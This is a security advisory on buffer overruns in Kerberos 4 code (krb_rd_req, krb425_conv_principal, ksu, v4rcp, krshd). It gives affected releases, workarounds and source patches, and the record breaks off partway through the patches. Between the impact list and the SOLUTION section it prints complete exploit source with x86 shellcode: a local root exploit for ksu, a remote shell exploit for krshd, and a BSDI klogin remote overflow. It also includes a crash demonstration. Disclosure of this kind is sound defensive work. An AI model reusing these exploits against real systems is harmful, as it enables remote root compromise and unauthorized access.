COMMAND

    Kerberos IV

SYSTEMS AFFECTED

    Kerberos IV

PROBLEM

    Jeffrey  I.  Schiller  found  following.   Serious  buffer overrun
    vulnerabilities  exist  in  many  implementations  of  Kerberos 4,
    including implementations included for backwards compatibility  in
    Kerberos 5  implementations.   Other less  serious buffer  overrun
    vulnerabilites have also  been discovered.   ALL KNOWN KERBEROS  4
    IMPLEMENTATIONS  derived  from  MIT  sources  are  believed  to be
    vulnerable.  Impact:

        * A remote user may gain unauthorized root access to a machine
          running services authenticated with Kerberos 4.
        * A remote user may gain unauthorized root access to a machine
          running  krshd,  regardless  of   whether  the  program   is
          configured to accept Kerberos 4 authentication.
        * A local user may gain unauthorized root access by exploiting
          v4rcp or ksu.

    The  MIT  Kerberos  Team  has  been  made  aware  of  a   security
    vulnerability  in  the  Kerberos  4  compatibility  code contained
    within   the   MIT   Kerberos   5   source   distributions.   This
    vulnerability consists  of a  buffer overrun  in the  krb_rd_req()
    function, which is used by essentially all  Kerberos-authenticated
    services that use Kerberos 4  for authentication.  It is  possible
    for an attacker to gain root access over the network by exploiting
    this vulnerability.

    An exploit is  known to exist  for the Kerberized  Berkeley remote
    shell daemon  (krshd) for  at least  the i386-Linux  platform, and
    possibly others.   Other buffer overruns  have been discovered  as
    well, though with less far-reaching impact.

    The existing exploit does not  directly use the buffer overrun  in
    krb_rd_req();  rather,  it  uses  the  buffer  that was overrun by
    krb_rd_req()     to     exploit     a     second     overrun    in
    krb425_conv_principal().  The  krb_rd_req() code itself  might not
    be  exploitable  once  the  overrun  in krb425_conv_principal() is
    repaired, though it  is likely that  some other method  of exploit
    may  be  found  that  does  not  require  that an overrun exist in
    krb425_conv_principal().

    Source distributions which may contain vulnerable code include:

        - MIT Kerberos 5 releases krb5-1.0.x, krb5-1.1, krb5-1.1.1
        - MIT Kerberos 4 patch 10, and likely earlier releases as well
        - KerbNet (Cygnus implementation of Kerberos 5)
        - Cygnus Network Security (CNS -- Cygnus implementation of Kerberos 4)

    Daemons  or  services  that  may  call  krb_rd_req()  and are thus
    vulnerable to remote exploit include:

        - krshd
        - klogind (if accepting Kerberos 4 authentication)
        - telnetd (if accepting Kerberos 4 authentication)
        - ftpd (if accepting Kerberos 4 authentication)
        - rkinitd
        - kpopd

    In  addition,  it  is  possible  that  the v4rcp program, which is
    usually installed  setuid to  root, may  be exploited  by a  local
    user to  gain root  access by  means of  exploiting the krb_rd_req
    vulnerability.

    The  ksu  program   in  some  MIT   Kerberos  5  releases   has  a
    vulnerability that may result  in unauthorized local root  access.
    This bug was fixed in krb5-1.1.1, as well as in  krb5-1.0.7-beta1.
    Release krb5-1.1, as well as krb5-1.0.6 and earlier, are  believed
    to be vulnerable.

    There  is  an  unrelated  buffer  overrun  in  the  krshd  that is
    distributed with at least the MIT Kerberos 5 source distributions.
    It is not known whether an exploit exists for this buffer overrun.
    It  is  also  not  known  whether  this buffer overrun is actually
    exploitable.

    Windows 2000 is not affected by these vulnerabilities.

    Thanks  to  Jim  Paris  (MIT  class  of 2003) for pointing out the
    krb_rd_req()  vulnerability  and  Nalin  Dahyabhai  of  Redhat for
    pointing  out  some  other  buffer  overruns  and  coming  up with
    patches.

    Also, thanks to Chris Evans for  his input and work.  In  fact the
    first  problem  he  demonstrated  was  the  kd_mq_req()   problem.
    Original demonstration details are below.

        Usage:
        ./breakv4rcp > deathfile
        export KRB5LOCALADDR=1
        export KRB5REMOTEADDR=1
        v4rcp -x -f < deathfile     (n.b. using a pipe fails probably due to size)

    This demonstrates but one of many flaws.  If possible it should be
    shipped NOT  suid-root.   Note that  this is  probably a secondary
    overflow; one buffer is overflowed and the contents of that  later
    overflow another etc. etc.  Maybe the 0x61 is to_lower('A');  doubt
    it's a problem for exploitation (if it was, there's not a shortage
    of other problems.  "ksu" is also suid root in RH6.2.

        Starting program: /usr/kerberos/bin/v4rcp -x -f < die
        (no debugging symbols found)...(no debugging symbols found)...
        (no debugging symbols found)...(no debugging symbols found)...
        (no debugging symbols found)...
        Program received signal SIGSEGV, Segmentation fault.
        0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>)
            at ../sysdeps/i386/strlen.c:27
        27      ../sysdeps/i386/strlen.c: No such file or directory.
        (gdb) bt
        #0  0x40154c27 in strlen (str=0x61616161 <Address 0x61616161 out of bounds>)
            at ../sysdeps/i386/strlen.c:27
        #1  0x40060c9e in krb5_425_conv_principal ()
           from /usr/kerberos/lib/libkrb5.so.2
        #2  0x61616161 in ?? ()
        Cannot access memory at address 0x61616161

    #include <unistd.h>
    #include <string.h>
    #include <netinet/in.h>
    
    int
    main(int argc, const char* argv[])
    {
	    char tickbuf[1250];
	    int i;
	    char c;
    
	    memset(tickbuf, 'A', sizeof(tickbuf));
    
	    /* Output to fd 1 (stdout) */
    
	    /* Protocol version - MUST be as follows */
	    write(1, "AUTHV0.1", 8);
	    /* Application version - arbitrary */
	    write(1, "DEADBEEF", 8);
	    /* Ticket size - go for the max */
	    i = htonl(sizeof(tickbuf));
	    write(1, &i, 4);
	    /* The ticket */
	    /* Kerberos protocol version; today we're breaking version: 4 */
	    tickbuf[0] = 4;
	    /* Byteswap is lowest bit (0 will do) */
	    /* Or with AUTH_MSG_APPL_REQUEST (3<<1) */
	    tickbuf[1] = 3<<1 | 0;
	    /* Server key version - arbitrary */
	    tickbuf[2] = 0;
	    write(1, tickbuf, sizeof(tickbuf));
    }

    Exploits (by Jim Paris and duke) follows (ksux.c, a local  exploit
    for ksu and kshux.c, a remote exploit for krshd):

    /********
     * ksux.c -- ksu exploit
     * written January 26, 2000
     * Jim Paris <jim@jtan.com>
     *
     * This program exploits a vulnerability in the 'ksu' utility included
     * with the MIT Kerberos distribution.  Versions prior to 1.1.1 are
     * vulnerable.
     *
     * This exploit is for Linux/x86 with Kerberos version 1.0.  Exploits
     * for other operating systems and versions of Kerberos should also work.
     *
     * Since krb5_parse_name will reject input with an @ or /, this shellcode
     * execs 'sh' instead of '/bin/sh'.  As a result, a copy of 'sh' must
     * reside in the current directory for the exploit to work.
     *
     */

    #include <stdlib.h>
    #include <stdio.h>

    int get_esp(void) { __asm__("movl %esp,%eax"); }

    char *shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x02\x89\x46"
                    "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
                    "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xffsh";

    #define         LEN 0x300
    #define  RET_OFFSET 0x240
    #define  JMP_OFFSET 0x240
    #define CODE_OFFSET 0x100

    int main(int argc, char *argv[])
    {
      int esp=get_esp();
      int i,j; char b[LEN];

      memset(b,0x90,LEN);
      memcpy(b+CODE_OFFSET,shellcode,strlen(shellcode));
      *(int *)&b[RET_OFFSET]=esp+JMP_OFFSET;
      b[RET_OFFSET+4]=0;

      execlp("ksu","ksu","-n",b,NULL);
    }


    /********
     * kshux.c -- krshd remote exploit
     * written April 8, 2000
     * Jim Paris <jim@jtan.com>
     *
     * This program exploits a vulnerability in the 'krshd' daemon included
     * with the MIT Kerberos distribution.  All versions are apparently
     * vulnerable.
     *
     * This exploit is for Linux/x86 with Kerberos version 1.0, but you'll
     * probably need a fair bit of coaxing to get it to work.
     *
     * And yes, it's ugly.  I need to accept an incoming connection from the
     * remote server, handle the fact that the overflow goes through two
     * functions and a toupper(), make sure that certain overwritten pointers
     * on the remote host's stack are set to valid values so that a strlen
     * call in krb425_conv_principal() doesn't cause a segfault before we
     * return into the shellcode, adjust the offset depending on the remote
     * hostname to properly align things, etc etc.  As a result, you'll
     * probably have a hard time getting this to work -- it took a lot of
     * hacking and hardcoded numbers to get this to work against my test
     * systems.
     *
     */

    #include <stdio.h>
    #include <sys/types.h>
    #include <netdb.h>
    #include <time.h>
    #include <netinet/in.h>

    #define LEN 1200
    #define OFFSET 0
    #define ADDR 0xbfffd7a4

    char *sc="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
             "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
             "\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

    void get_incoming(int r) {
      int s, l=1; struct sockaddr_in sa, ra;
      bzero(&sa,sizeof(sa));
      sa.sin_family=AF_INET;
      sa.sin_addr.s_addr=htonl(INADDR_ANY);
      sa.sin_port=htons(16474);
      if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
        perror("socket"),exit(1);
      setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&l,sizeof(l));
      if(bind(s,(struct sockaddr *)&sa,sizeof(sa))<0)
        perror("bind"),exit(1);
      if(listen(s,1))
        perror("listen"),exit(1);
      write(r,"16474",6);
      if(accept(s,&sa,&l)<0)
        perror("accept"),exit(1);
    }

    int con_outgoing(char *h) {
      int s, i; struct sockaddr_in a; struct hostent *e;
      if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
        perror("socket"),exit(1);
      if((i=inet_addr(h))==INADDR_NONE) {
        if((e=gethostbyname(h))==NULL)
          perror("gethostbyname"),exit(1);
        bcopy(e->h_addr,&i,sizeof(i)); }
      bzero(&a,sizeof(a));
      a.sin_family=AF_INET;
      a.sin_addr.s_addr=i;
      a.sin_port=htons(544);
      if(connect(s,(struct sockaddr *)&a,sizeof(a))<0)
        perror("connect"),exit(1);
      return s;
    }

    void bus(int s) {
      int i; fd_set r; char b[1024];
      for(;;) {
        FD_ZERO(&r); FD_SET(0,&r); FD_SET(s,&r);
        if((i=select(s+1,&r,NULL,NULL,NULL))==-1)
          perror("select"),exit(1);
        if(i==0) fprintf(stderr,"closed\n"),exit(0);
        if(FD_ISSET(s,&r)) {
          if((i=read(s,b,sizeof(b)))<1)
	    fprintf(stderr,"closed\n"),exit(0);
          write(1,b,i); }
        if(FD_ISSET(0,&r)) {
          if((i=read(0,b,sizeof(b)))<1)
	    fprintf(stderr,"closed\n"),exit(0);
          write(s,b,i); } }
    }

    void main(int ac, char *av[])
    {
      int s, i, j, a=ADDR, o=OFFSET;
      int l, h;
      char b[LEN];

      if(ac<2) {
        fprintf(stderr,"%s hostname [addr] [offset]\n",*av);
        exit(1);
      }
      a+=(ac>2)?atoi(av[2]):0;
      o+=(ac>3)?atoi(av[3]):(4-(strlen(av[1])%4));
      o%=4;
      if(o<0) o+=4;
      l=(ac>4)?atoi(av[4]):-10;
      h=(ac>5)?atoi(av[5]):10;
      fprintf(stderr,"addr=%p, offset=%d\n",a,o);

      if(isupper(((char *)&a)[0]) ||
         isupper(((char *)&a)[1]) ||
         isupper(((char *)&a)[2]) ||
         isupper(((char *)&a)[3]))
        fprintf(stderr,"error: addr contains uppercase\n"),exit(0);

      s=con_outgoing(av[1]);
      get_incoming(s);

      sprintf(&b[0],"AUTHV0.1blahblah");
      *(int *)(b+16)=htonl(LEN);
      b[20]=4; b[21]=7; b[22]=123;
      write(s,b,23);

      for(i=0;i<LEN-8-strlen(sc)-1;i++) b[i]=0x90;
      bcopy(sc,b+i,strlen(sc)+1);
      for(i=LEN-8;i<LEN;i++) b[i]=0x00;

      for(i=255+o+l*4;i<=255+o+h*4;i+=4) *(int *)(b+i)=(a-4);
      *(int *)(b+251+o)=a;

      write(s,b,LEN);

      bus(s);
    }

    duke added his klogin exploit:

    /*

        klogin remote buffer overflow
        by duke (duke@viper.net.au)

        tested on BSDI 4.0.1 klogin.
        The bug is actually in the kerberos library so this
        affects all kerb services (kerbIV). This code should need
        minimal (if any) modification to use on other kerberos services.
        it will only work if the file /etc/kerberosIV/krb.conf exists.

        -duke

    */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/select.h>
    #include <netinet/in.h>

    #define RET 0x8047830
    #define NOPLEN 900
    #define MAX(x, y) ((x > y) ? x : y)

    char bsdi_shell[]=
    "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c\x89\x76"
    "\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff\xff\xff\xff\x07"
    "\xff\xe8\xdc\xff\xff\xff/bin/sh\x00";

    void usage(char *);
    void shell(int);
    char *make_data(void);

    int offset=0;

    int main(int argc, char **argv)
    {
      int sockfd, port=543, c;
      char *pkt, buf[1024];
      struct sockaddr_in sin;
      struct hostent *hp;

      while((c = getopt(argc, argv, "p:o:")) != EOF){
        switch(c){
          case 'p': port = atoi(optarg); break;
          case 'o': offset = atoi(optarg); break;
          default: usage(argv[0]);
        }
      }
      if(!argv[optind])
        usage(argv[0]);
      if((hp = gethostbyname(argv[optind])) == NULL){
        fprintf(stderr, "can't resolve host\n");
        exit(-1);
      }
      pkt = make_data();
      bzero(&sin, sizeof(sin));
      sin.sin_family = AF_INET;
      sin.sin_port = htons(port);
      sin.sin_addr = *((struct in_addr *)hp->h_addr_list[0]);
      if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) < 0){
        perror("socket");
        exit(-1);
      }
      if(connect(sockfd, (struct sockaddr *)&sin, sizeof(sin)) < 0){
        perror("connect");
        exit(-1);
      }
      write(sockfd, pkt, 1221);
      free(pkt);
      shell(sockfd);
    }

    void usage(char *p)
    {
      fprintf(stderr, "usage: %s [ -p port ] [ -o offset ] <hostname>\n", p);
      fprintf(stderr, "-p: port to use\n");
      fprintf(stderr, "-o: offset\n");
      exit(0);
    }

    char *make_data(void)
    {
      char *tmp, *ptr;
      int i;
      if((tmp=(char *)calloc(1250, sizeof(char))) == NULL){
        perror("calloc");
        exit(-1);
      }
      ptr = tmp;
      *ptr++ = 0x00;
      memcpy(ptr, "AUTHV0.1", 8);
      ptr+=8;
      for(i=0; i<8; i++)
        *ptr++ = 0x41;
      *(unsigned long *)ptr = htonl(1200);
      ptr+=4;
      *(unsigned int *)ptr++ = 4;
      *ptr++ = 8;
      *ptr++ = 1;
      for(i=0; i < 600; i+=4)
        *(long *)&ptr[i] = RET + offset;
      memset(ptr+300, 0x90, NOPLEN);
      memcpy(ptr+800, bsdi_shell,
      sizeof(bsdi_shell));
      *(ptr+1000) = 0x00;
      return(tmp);
    }

    void shell(int sock)
    {
      fd_set rset;
      char bu[1024];

      write(sock, "cd /; id; pwd; uname -a;\n", 25);

      FD_ZERO(&rset);
      for(;;){
        FD_SET(fileno(stdin), &rset);
        FD_SET(sock, &rset);
        if(select(MAX(sock, fileno(stdin))+1, &rset, NULL, NULL, NULL) < 0){
          perror("select");
          exit(-1);
        }
        if(FD_ISSET(sock, &rset)){
          char buf[1024];
          int n;

          bzero(buf, sizeof(buf));
          n = read(sock, buf, sizeof(buf)-1);
          if(n == 0){
            printf("EOF from server\n");
            exit(0);
          }
          if(n < 0){
            perror("read");
            exit(-1);
          } else {
            write(1, buf, n);
          }
        }

        if(FD_ISSET(fileno(stdin), &rset)){
          char buf[1024];

          bzero(buf, sizeof(buf));
          if(fgets(buf, sizeof(buf)-4, stdin) == NULL){
            printf("OK. Quitting\n");
            close(sock);
            exit(0);
          }
          strcat(buf, "\n");
          if(write(sock, buf, strlen(buf)) < 0){
            perror("write");
            exit(0);
          }
        }
      }
    }

SOLUTION

    Certain  daemons  that  are  called  from  inetd  may be safe from
    exploitation  if  their  command  line  invocation  is modified to
    exclude the use of Kerberos 4 for authentication.  Please  consult
    the manpages or other documentation for your Kerberos distribution
    in  order  to  determine  the  correct  command line for disabling
    Kerberos  4  authentication.   Daemons  for  which  this  approach
    may work include:

        - krshd (*)
        - klogind
        - telnetd

    (*) The krshd program may still be vulnerable to remote attack  if
        Kerberos 4  authentication is  disabled, due  to the unrelated
        buffer overrun  mentioned above.   It is  best to  disable the
        krshd  program  completely  until  a  patched  version  can be
        installed.

    The  v4rcp  program  should  have  its  setuid permission removed,
    since it may  be possible to  perform a local  exploit against it.
    The krb5 ksu  program should have  its setuid premission  removed,
    if  it  was  not  compiled  from  krb5-1.1.1, krb5-1.0.7-beta1, or
    later code.   Merely replacing  the ksu  binary with  one compiled
    from krb5-1.1.1 or krb5-1.0.7-beta1 should be safe, provided  that
    it is  not compiled  with shared  libraries (the  vulnerability is
    related to some  library bugs).   If ksu was  compiled with shared
    libraries, it may be  best to install a  new release that has  the
    library bug fixed.

    In the MIT Kerberos 5 releases, it may not be possible to  disable
    Kerberos 4  authentication in  the ftpd  program.   Note that only
    releases  krb5-1.1  and  later  will  have  the ability to receive
    Kerberos 4 authentication.

    The  best  course  of  action  is  to  patch  the code in the krb4
    library, in addition  to patching the  code in the  krshd program.
    The following  patches include  some less  essential patches  that
    also affect  buffer overruns  in potentially  vulnerable code, but
    for which exploits are somewhat more difficult to construct.

    Please note that there are two  sets of patches in this file  that
    apply against identically named  files in two different  releases.
    You should  separate out  the patch  set that  is relevant  to you
    prior to  applying them;  otherwise, you  may inadvertently  patch
    some files  twice.   MIT will  soon release  krb5-1.2, which  will
    have these changes incorporated.

    PATCHES AGAINST krb5-1.0.x:
    ===========================
    The following are patches against 1.0.7-beta1 (roughly).  The most
    critical ones are:

        - appl/bsd/krshd.c
        - lib/krb4/rd_req.c
        - lib/krb5/krb/conv_princ.c

    The rest  are not  as important  but you  may wish  to apply  them
    anyway out  of paranoia.   These patches  may apply  with a little
    bit of fuzz against releases prior to krb5-1.0.7-beta1, but  there
    likely have  not been  significant changes  in the  affected code.
    These   patches   may   also   apply   against   KerbNet.      The
    lib/krb4/rd_req.c  patch  may  also  apply  against  CNS  and  MIT
    Kerberos 4.

    Index: appl/bsd/krshd.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
    retrieving revision 5.66.2.6
    diff -c -r5.66.2.6 krshd.c
    *** krshd.c     1999/03/09 00:27:31     5.66.2.6
    --- krshd.c     2000/04/29 02:58:52
    ***************
    *** 1469,1483 ****
              strcpy((char *) cmdbuf + offst, kprogdir);
            cp = copy + 3 + offst;

            if (auth_sys == KRB5_RECVAUTH_V4) {
    !         strcat(cmdbuf, "/v4rcp");
            } else {
    !         strcat(cmdbuf, "/rcp");
            }
            if (stat((char *)cmdbuf + offst, &s) >= 0)
    !         strcat(cmdbuf, cp);
            else
    !         strcpy(cmdbuf, copy);
            free(copy);
          }
      #endif
    --- 1469,1484 ----
              strcpy((char *) cmdbuf + offst, kprogdir);
            cp = copy + 3 + offst;

    +       cmdbuf[sizeof(cmdbuf) - 1] = '\0';
            if (auth_sys == KRB5_RECVAUTH_V4) {
    !         strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            } else {
    !         strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            }
            if (stat((char *)cmdbuf + offst, &s) >= 0)
    !         strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            else
    !         strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            free(copy);
          }
      #endif
    Index: lib/krb4/kuserok.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
    retrieving revision 1.3
    diff -c -r1.3 kuserok.c
    *** kuserok.c   1996/01/27 06:06:22     1.3
    --- kuserok.c   2000/04/29 02:59:02
    ***************
    *** 115,122 ****
          if ((pwd = getpwnam(luser)) == NULL) {
            return(NOTOK);
          }
    !     (void) strcpy(pbuf, pwd->pw_dir);
    !     (void) strcat(pbuf, "/.klogin");

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    --- 115,125 ----
          if ((pwd = getpwnam(luser)) == NULL) {
            return(NOTOK);
          }
    !     if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
    !       return NOTOK;
    !     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
    !     pbuf[sizeof(pbuf) - 1] = '\0';
    !     (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    Index: lib/krb4/rd_req.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb4/rd_req.c,v
    retrieving revision 1.4
    diff -c -r1.4 rd_req.c
    *** rd_req.c    1996/02/24 14:29:26     1.4
    --- rd_req.c    2000/04/29 02:59:02
    ***************
    *** 155,160 ****
    --- 155,162 ----
                                       Kerberos used to encrypt ticket */
          int status;

    +     tkt->mbz = req_id->mbz = 0;
    +
          if (authent->length <= 0)
            return(RD_AP_MODIFIED);

    ***************
    *** 190,197 ****
              mutual = 0;
      #endif /* lint */
          s_kvno = *ptr++;          /* get server key version */
    !     (void) strcpy(realm,ptr);   /* And the realm of the issuing KDC */
    !     ptr += strlen(ptr) + 1;     /* skip the realm "hint" */

          /*
           * If "fn" is NULL, key info should already be set; don't
    --- 192,200 ----
              mutual = 0;
      #endif /* lint */
          s_kvno = *ptr++;          /* get server key version */
    !     (void) strncpy(realm,ptr,REALM_SZ);       /* And the realm of the issuing KDC */
    !     realm[REALM_SZ-1] = '\0';
    !     ptr += strlen(realm) + 1; /* skip the realm "hint" */

          /*
           * If "fn" is NULL, key info should already be set; don't
    ***************
    *** 277,289 ****
      #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

          ptr = (char *) req_id->dat;
    !     (void) strcpy(r_aname,ptr);       /* Authentication name */
          ptr += strlen(r_aname)+1;
          check_ptr();
    !     (void) strcpy(r_inst,ptr);        /* Authentication instance */
          ptr += strlen(r_inst)+1;
          check_ptr();
    !     (void) strcpy(r_realm,ptr);       /* Authentication name */
          ptr += strlen(r_realm)+1;
          check_ptr();
          memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
    --- 280,295 ----
      #define check_ptr() if ((ptr - (char *) req_id->dat) > req_id->length) return(RD_AP_MODIFIED);

          ptr = (char *) req_id->dat;
    !     (void) strncpy(r_aname,ptr,ANAME_SZ); /* Authentication name */
    !     r_aname[ANAME_SZ-1] = '\0';
          ptr += strlen(r_aname)+1;
          check_ptr();
    !     (void) strncpy(r_inst,ptr,INST_SZ);       /* Authentication instance */
    !     r_inst[INST_SZ-1] = '\0';
          ptr += strlen(r_inst)+1;
          check_ptr();
    !     (void) strncpy(r_realm,ptr,REALM_SZ); /* Authentication name */
    !     r_realm[REALM_SZ-1] = '\0';
          ptr += strlen(r_realm)+1;
          check_ptr();
          memcpy((char *)&ad->checksum, ptr, 4);    /* Checksum */
    Index: lib/krb5/krb/conv_princ.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/krb/conv_princ.c,v
    retrieving revision 1.19.8.1
    diff -c -r1.19.8.1 conv_princ.c
    *** conv_princ.c        1999/02/07 00:52:01     1.19.8.1
    --- conv_princ.c        2000/04/29 02:59:04
    ***************
    *** 243,249 ****
                  if (retval == 0 && full_name && full_name[0]) {
                      instance = full_name[0];
                  } else {
    !                 strcpy(buf, instance);
                      retval = krb5_get_realm_domain(context, realm, &domain);
                      if (retval)
                          return retval;
    --- 243,250 ----
                  if (retval == 0 && full_name && full_name[0]) {
                      instance = full_name[0];
                  } else {
    !                 strncpy(buf, instance, sizeof(buf));
    !                 buf[sizeof(buf) - 1] = '\0';
                      retval = krb5_get_realm_domain(context, realm, &domain);
                      if (retval)
                          return retval;
    ***************
    *** 251,258 ****
                          for (cp = domain; *cp; cp++)
                              if (isupper(*cp))
                                  *cp = tolower(*cp);
    !                     strcat(buf, ".");
    !                     strcat(buf, domain);
                          krb5_xfree(domain);
                      }
                      instance = buf;
    --- 252,259 ----
                          for (cp = domain; *cp; cp++)
                              if (isupper(*cp))
                                  *cp = tolower(*cp);
    !                     strncat(buf, ".", sizeof(buf) - 1 - strlen(buf));
    !                     strncat(buf, domain, sizeof(buf) - 1 - strlen(buf));
                          krb5_xfree(domain);
                      }
                      instance = buf;
    Index: lib/krb5/os/kuserok.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/os/kuserok.c,v
    retrieving revision 5.19
    diff -c -r5.19 kuserok.c
    *** kuserok.c   1996/06/12 05:15:02     5.19
    --- kuserok.c   2000/04/29 02:59:04
    ***************
    *** 77,84 ****
          if ((pwd = getpwnam(luser)) == NULL) {
            return(FALSE);
          }
    !     (void) strcpy(pbuf, pwd->pw_dir);
    !     (void) strcat(pbuf, "/.k5login");

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    --- 77,85 ----
          if ((pwd = getpwnam(luser)) == NULL) {
            return(FALSE);
          }
    !     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
    !     pbuf[sizeof(pbuf) - 1] = '\0';
    !     (void) strncat(pbuf, "/.k5login", sizeof(pbuf) - 1 - strlen(pbuf));

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    Index: lib/krb5/posix/syslog.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb5/posix/syslog.c,v
    retrieving revision 5.7
    diff -c -r5.7 syslog.c
    *** syslog.c    1996/06/12 05:16:04     5.7
    --- syslog.c    2000/04/29 02:59:04
    ***************
    *** 115,121 ****
            (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
            for (p = tbuf; *p; ++p);
            if (LogTag) {
    !               (void)strcpy(p, LogTag);
                    for (; *p; ++p);
            }
            if (LogStat & LOG_PID) {
    --- 115,121 ----
            (void)sprintf(tbuf, "<%d>%.15s ", pri, ctime(&now) + 4);
            for (p = tbuf; *p; ++p);
            if (LogTag) {
    !               (void)strncpy(p, LogTag, sizeof(tbuf) - 1 - (p - tbuf));
                    for (; *p; ++p);
            }
            if (LogStat & LOG_PID) {
    ***************
    *** 146,151 ****
    --- 146,156 ----
            }

            (void)vsprintf(p, fmt_cpy, ap);
    +       /* Bounds checking??  If a system doesn't have syslog, we
    +          probably can't rely on it having vsnprintf either.  Try not
    +          to let a buffer overrun be exploited.  */
    +       if (strlen (tbuf) >= sizeof (tbuf))
    +         abort ();

            /* output the message to the local logger */
            if (send(LogFile, tbuf, cnt = strlen(tbuf), 0) >= 0 ||
    ***************
    *** 169,175 ****
                    if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                            return;
                    (void)alarm((u_int)0);
    !               (void)strcat(tbuf, "\r");
                    p = strchr(tbuf, '>') + 1;
                    (void)write(fd, p, cnt + 1 - (p - tbuf));
                    (void)close(fd);
    --- 174,181 ----
                    if ((fd = open(CONSOLE, O_WRONLY, 0)) < 0)
                            return;
                    (void)alarm((u_int)0);
    !               tbuf[sizeof(tbuf) - 1] = '\0';
    !               (void)strncat(tbuf, "\r", sizeof(tbuf) - 1 - strlen(tbuf));
                    p = strchr(tbuf, '>') + 1;
                    (void)write(fd, p, cnt + 1 - (p - tbuf));
                    (void)close(fd);

    PATCHES AGAINST krb5-1.1.1:
    ===========================
    The following are patches against  1.1.1.  The most critical  ones
    are:

        - appl/bsd/krshd.c
        - lib/krb4/rd_req.c
        - lib/krb5/krb/conv_princ.c

    The rest  are not  as important  but you  may wish  to apply  them
    anyway out of paranoia.

    Index: appl/bsd/krshd.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/appl/bsd/krshd.c,v
    retrieving revision 5.79.2.1
    diff -c -r5.79.2.1 krshd.c
    *** krshd.c     1999/08/23 18:55:10     5.79.2.1
    --- krshd.c     2000/04/29 03:00:38
    ***************
    *** 1468,1482 ****
              strcpy((char *) cmdbuf + offst, kprogdir);
            cp = copy + 3 + offst;

            if (auth_sys == KRB5_RECVAUTH_V4) {
    !         strcat(cmdbuf, "/v4rcp");
            } else {
    !         strcat(cmdbuf, "/rcp");
            }
            if (stat((char *)cmdbuf + offst, &s) >= 0)
    !         strcat(cmdbuf, cp);
            else
    !         strcpy(cmdbuf, copy);
            free(copy);
          }
      #endif
    --- 1468,1483 ----
              strcpy((char *) cmdbuf + offst, kprogdir);
            cp = copy + 3 + offst;

    +       cmdbuf[sizeof(cmdbuf) - 1] = '\0';
            if (auth_sys == KRB5_RECVAUTH_V4) {
    !         strncat(cmdbuf, "/v4rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            } else {
    !         strncat(cmdbuf, "/rcp", sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            }
            if (stat((char *)cmdbuf + offst, &s) >= 0)
    !         strncat(cmdbuf, cp, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            else
    !         strncpy(cmdbuf, copy, sizeof(cmdbuf) - 1 - strlen(cmdbuf));
            free(copy);
          }
      #endif
    Index: lib/krb4/kuserok.c
    ===================================================================
    RCS file: /cvs/krbdev/krb5/src/lib/krb4/kuserok.c,v
    retrieving revision 1.5
    diff -c -r1.5 kuserok.c
    *** kuserok.c   1997/09/26 02:41:41     1.5
    --- kuserok.c   2000/04/29 03:00:53
    ***************
    *** 118,125 ****
          if ((pwd = getpwnam(luser)) == NULL) {
            return(NOTOK);
          }
    !     (void) strcpy(pbuf, pwd->pw_dir);
    !     (void) strcat(pbuf, "/.klogin");

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    --- 118,128 ----
          if ((pwd = getpwnam(luser)) == NULL) {
            return(NOTOK);
          }
    !     if (strlen (pwd->pw_dir) + sizeof ("/.klogin") >= sizeof (pbuf))
    !       return NOTOK;
    !     (void) strncpy(pbuf, pwd->pw_dir, sizeof(pbuf) - 1);
    !     pbuf[sizeof(pbuf) - 1] = '\0';
    !     (void) strncat(pbuf, "/.klogin", sizeof(pbuf) - 1 - strlen(pbuf));

          if (access(pbuf, F_OK)) {  /* not accessible */
            /*
    Index: lib/krb4/rd_req.c
    ===================================================================
